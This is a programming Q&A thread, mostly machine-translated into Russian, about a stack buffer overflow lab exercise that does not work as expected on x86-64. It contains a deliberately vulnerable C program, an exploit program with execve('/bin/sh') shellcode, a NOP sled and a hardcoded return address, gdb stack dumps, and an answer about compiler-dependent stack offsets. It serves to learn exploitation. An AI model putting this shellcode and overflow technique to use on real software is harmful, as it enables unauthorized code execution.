NOTE: This is a modified version of my original post here but poses a slightly different question.
Я просматриваю этот видео при переполнении буфера, но у меня возникли проблемы с воспроизведением демонстрации. Проблема, похоже, заключается в том, что когда я выполняю переполнение, предполагаемый адрес возврата не перезаписывается.
Насколько я понимаю, предполагаемый обратный адрес должен быть 0x7fffffffe060.
This memory address format differs from what I've seen in demos etc. maybe something wrong here?
Команда gcc - gcc -ggdb -fno-stack-protector -mpreferred-stack-boundary=4 -o Output Output.c
Я вижу, как шелл-код вводится в стек, но это на одну «строку» или адрес памяти ниже того места, где я ожидал.
Ожидание с моим шелл-кодом:
0x7fffffffe060: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
Фактический результат:
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
Почему целевой обратный адрес 0x7fffffffe060 не перезаписывается в пользу 0x7fffffffe070?
ExploitMe.c
#include<stdio.h>
#include<string.h>
main(int argc, char **argv)
{
char buffer[80];
strcpy(buffer, argv[1]);
return 1;
}
HackYou.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char shellcode[] =
"\x31\xc0"
"\x50"
"\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69"
"\x89\xe3"
"\x99"
"\x52"
"\x53"
"\x89\xe1"
"\xb0\x0b"
"\xcd\x80"
;
char retaddr[] = "\x60\xe0\xff\xff\xff\x7f";
#define NOP 0x90
main()
{
char buffer[96];
memset(buffer, NOP, 96);
memcpy(buffer, "EGG = ", 4);
memcpy(buffer+4, shellcode, 24);
memcpy(buffer+88, retaddr, 4);
memcpy(buffer+92, "\x00\x00\x00\x00", 4);
putenv(buffer);
system("/bin/sh");
return 0;
}
(gdb) run $EGG
(gdb) x/24xw $rsp
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x00000001 0x00000000 0xf7e939b5 0x00007fff
0x7fffffffe080: 0x00000000 0x00000000 0x555551bd 0x00005555
0x7fffffffe090: 0xf7fe42a0 0x00007fff 0x00000000 0x00000000
0x7fffffffe0a0: 0x55555170 0x00005555 0x55555050 0x00005555
0x7fffffffe0b0: 0xffffe1a0 0x00007fff 0x00000000 0x00000000
(gdb) c
Continuing.
(gdb) x/24xw argv[1]
0x7fffffffe4c4: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0x7fffffffe4d4: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0x7fffffffe4e4: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe4f4: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe504: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe514: 0x90909090 0xffffe060 0x5f534c00 0x4f4c4f43
(gdb) x/34xw $rsp
0x7fffffffe060: 0xffffe1a8 0x00007fff 0xffffe096 0x00000002
0x7fffffffe070: 0x6850c031 0x68732f6e 0x622f2f68 0x99e38969
0x7fffffffe080: 0xe1895352 0x80cd0bb0 0x90909090 0x90909090
0x7fffffffe090: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0a0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0b0: 0x90909090 0x90909090 0x90909090 0x90909090
0x7fffffffe0c0: 0x90909090 0xffffe060 0xf7e14b00 0x00007fff
0x7fffffffe0d0: 0x00000000 0x00000000 0xffffe1a8 0x00007fff
0x7fffffffe0e0: 0x00040000 0x00000002
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e14b0d in __libc_start_main (main=0x555555555135 <main>, argc=2, argv=0x7fffffffe1a8, init=<optimized out>,
fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe198) at ../csu/libc-start.c:310
310 ../csu/libc-start.c: No such file or directory.
@TimRandall, можешь объяснить, что ты имеешь в виду? Или ссылку на соответствующую статью / документы?
Ну а вы не пытаетесь намеренно вызвать переполнение буфера? Кажется, это и есть цель упражнения, она упоминается в вашем вопросе, и, насколько я понимаю, чтение или запись за пределами массива вызовет неопределенное поведение. Я думаю, что точный результат, который вы видите, будет будет очень специфичным для реализации.
Да, я. Идея упражнения состоит в том, чтобы переполнить буфер пользовательским шелл-кодом и установить адрес возврата на адрес вновь введенного шелл-кода.





Я не смотрел ваше видео, но используемый вами подход во многом зависит от версий компиляторов, параметров компиляции и даже версий операционной системы. Если вы упустили свою цель, это вполне может быть из-за параметра отладки (-g). Параметр отладки обычно заставляет компилятор устанавливать надежные кадры стека, чтобы отладчик мог надежно перемещаться по стеку вызовов.
В вашем примере вы ожидаете, что адрес возврата составляет 92 байта от адреса буфера или 3 адреса стека после конца буфера. Таким образом, если вы дизассемблируете ExploitMe.c: main (), как будет выглядеть пролог? Сколько регистров выталкивается и что вычитается из rsp?
В (ubuntu 18, gcc 7.3) я получаю 1 нажатие и вычитаю 96, поэтому адрес возврата находится со смещением 104 от буфера; сохраненный указатель стека находится по смещению 96. Когда я заменил -ggdb на -O, я получил адрес возврата со смещением 88 [таким образом, 92 был бы средним или наиболее значимым байтом], и не сохранил указатель стека.
Как отметили комментаторы, если вы собираетесь использовать недокументированное поведение, вы должны уметь адаптироваться.
О да. Когда неопределенное поведение не делает того, что вы хотели ...